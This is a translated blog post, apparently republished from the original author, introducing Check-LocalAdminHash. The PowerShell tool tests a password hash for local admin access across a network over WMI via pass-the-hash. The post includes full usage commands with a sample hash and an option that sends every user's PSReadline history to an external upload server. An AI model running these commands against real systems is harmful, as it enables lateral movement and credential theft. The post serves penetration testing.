作者:Beau Bullock
Check-LocalAdminHash是一款新型PowerShell脚本,可针对多台主机验证密码哈希是否为有效的管理员凭证,并能够从该凭证具有管理员权限的所有系统中提取每个配置文件下的所有PowerShell PSReadline控制台历史记录文件。
获取地址:https://github.com/dafthack/Check-LocalAdminHash
在最近的一次评估中,我需要收集网络中所有系统的PowerShell控制台历史记录文件(PSReadline)。PSReadline控制台历史记录本质上是PowerShell版本的bash历史记录。自PowerShell 5版本起,所有在PowerShell终端中输入的内容都会被记录到磁盘文件中,可能包含密码等敏感信息。
该环境中存在广泛使用的本地管理员哈希凭证(无明文密码),同时部署了多种安全工具:多个EDR和行为分析产品、应用程序白名单、多因素认证保护的RDP,且目标主机的SMB协议不可访问。唯一可用的协议是Windows管理规范(WMI)。
通过组合多种现有工具实现功能:
该脚本可作为独立工具验证密码哈希在网络中的管理员权限分布,支持:
通过WMI验证本地管理员哈希:
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
渗透所有PSReadline历史记录文件:
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
安全警告:需设置面向互联网的文件上传服务器,建议采取严格防火墙限制和HTTPS加密传输。
$Url
变量指向服务器index.php页面该工具整合了PowerView的域枚举功能和Invoke-TheHash的哈希传递认证技术,95%代码基于这两个工具开发。支持多线程操作,可通过修改文件发现模块实现其他功能扩展。
相关项目:
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。